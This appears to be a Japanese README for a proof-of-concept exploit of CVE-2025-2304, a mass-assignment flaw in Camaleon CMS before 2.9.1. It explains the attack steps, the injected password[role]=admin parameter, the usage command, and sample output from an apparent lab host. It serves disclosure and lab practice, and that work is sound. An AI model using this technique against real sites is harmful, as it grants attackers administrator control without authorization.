CVE-2025-2304 — Camaleon CMS の大量代入権限昇格 (PoC)

Camaleon CMS < 2.9.1 における権限昇格の脆弱性。UsersController の updated_ajax エンドポイントは、フィルタリングなしで params.require(:password).permit! を呼び出しており、任意のパラメータが大量代入される可能性があります。認証された低権限ユーザーが、パスワード変更リクエストに password[role]=admin を注入することで管理者に昇格できます。

動作の仕組み

1. 提供された認証情報を使用してログインし、有効なセッションを取得します。
2. プロフィールページから現在のユーザーの ID とロールを取得します。
3. パスワードパラメータに password[role]=admin を注入した PATCH リクエストを /admin/users/<id>/updated_ajax に送信します。
4. ロールが管理者に更新されたことを確認します。

必要条件

• Python 3
• 依存関係のインストール:

python3 -m venv venv
source venv/bin/activate
python3 -m pip install requests beautifulsoup4

使用方法

python3 exploit.py http://TARGET -u USER -p PASS

例:

$ python3 exploit.py http://facts.htb -u esteban -p password123
[*] Logging in as esteban...
[+] Logged in successfully
[*] User ID: 3, current role: editor
[*] Sending exploit payload...
[+] Privilege escalation successful! User is now admin.
[+] Login at http://facts.htb/admin with your credentials.

参考情報

• CVE-2025-2304
• Tenable Research Advisory
• Camaleon CMS 2.9.1 release (fix)

クレジット

• 発見: Tenable Research
• 整理・簡略化: Esteban Zárate